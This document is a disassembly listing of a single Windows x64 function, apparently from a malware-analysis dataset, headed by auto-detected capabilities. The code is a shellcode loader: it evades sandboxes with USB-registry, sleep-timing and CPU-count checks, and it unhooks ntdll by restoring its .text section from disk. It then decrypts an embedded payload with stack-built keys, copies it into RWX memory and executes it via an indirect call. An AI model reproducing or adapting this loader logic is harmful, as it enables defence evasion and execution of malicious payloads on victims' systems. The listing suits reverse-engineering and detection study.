Function at 0x1400026e0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get system information on windows
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x780]
sub rsp, 0x880
mov rax, qword [0x140052190]
xor rax, rsp
mov qword [rbp + 0x770], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edi, edi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
lea rax, [rbp - 0x6c]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp dword [rbp - 0x6c], 1
jb 0x140002c32
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r12, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r13, rax
lea r9d, [rdi + 0x18]
lea r8, [rsp + 0x78]
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r14, qword [rsp + 0x78]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rdi + 1]
lea rcx, str.c:WindowsSystem32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x60], rax
movsxd rsi, dword [r14 + 0x3c]
add rsi, r14
movzx ebx, di
cmp di, word [rsi + 6]
jae 0x140002c0c
lea r8, str..text
movzx eax, bx
lea rdx, [rax + rax*4]
movzx ecx, word [rsi + 0x14]
add rcx, rsi
lea rdi, [rcx + rdx*8]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdi + rcx + 0x18]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140002bff
cmp rcx, 6
jne 0x140002870
mov dword [rbp - 0x70], 0
mov edx, dword [rdi + 0x20]
mov ecx, dword [rdi + 0x24]
add rcx, r14
lea r9, [rbp - 0x70]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rdi + 0x24]
mov r8d, dword [rdi + 0x20]
mov rdx, qword [rsp + 0x60]
add rdx, rax
lea rcx, [rax + r14]
call fcn.140018db0
mov edx, dword [rdi + 0x20]
mov ecx, dword [rdi + 0x24]
add rcx, r14
lea r9, [rbp - 0x70]
mov r8d, dword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [rbp + 0xd0]
lea rax, [0x14004a430]
mov edx, 6
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400028f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
mov dword [rbp + 0xc0], 0x35613233
mov dword [rbp + 0xc4], 0x68646a73
mov dword [rbp + 0xc8], 0x30363432
mov dword [rbp + 0xcc], 0x7434322a
mov dword [rbp + 0xb0], 0x78637364
mov dword [rbp + 0xb4], 0x38677368
mov dword [rbp + 0xb8], 0x75373039
mov dword [rbp + 0xbc], 0x6a646932
mov r8d, 0xd8
lea rcx, [rbp - 0x60]
call fcn.140019460
lea r9, [rbp + 0xb0]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x60]
call fcn.140002e10
nop
mov r9d, 0x350
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x420]
lea rcx, [rbp - 0x58]
call fcn.140006730
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x3e8
jl 0x140002c64
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0xa0], 2
jl 0x140002c64
mov ecx, 0x5f5e100
call fcn.140028b38
mov rdi, rax
test rax, rax
je 0x140002a66
xor edx, edx
mov r8d, 0x5f5e100
mov rcx, rax
call fcn.140019460
mov rcx, rdi
call fcn.140028b24
lea rcx, str.Sending_Payload...
call fcn.140001380
mov edx, 0x350
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rax, rdi
lea rcx, [rbp + 0x420]
mov edx, 6
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140002ae0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 0x1000002
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rdi
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rax + 1]
lea rcx, str.c:WindowsSystem32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
nop
mov rcx, qword [rbp + 8]
cmp qword [rbp], rcx
cmovb rcx, qword [rbp]
mov rdx, qword [rbp + 0x10]
test rdx, rdx
je 0x140002be6
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call fcn.1400080c0
nop
lea rcx, [rbp - 0x60]
call fcn.140002660
lea rcx, [rbp + 0x18]
call fcn.140002d70
lea r8, str..text
inc bx
cmp bx, word [rsi + 6]
jb 0x140002851
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rbp + 0x770]
xor rcx, rsp
call fcn.140016b70
lea r11, [rsp + 0x880]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [rbp + 8]
cmp qword [rbp], rcx
cmovb rcx, qword [rbp]
mov rdx, qword [rbp + 0x10]
test rdx, rdx
je 0x140002c8a
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call fcn.1400080c0
nop
lea rcx, [rbp - 0x60]
call fcn.140002660
lea rcx, [rbp + 0x18]
call fcn.140002d70
jmp 0x140002c32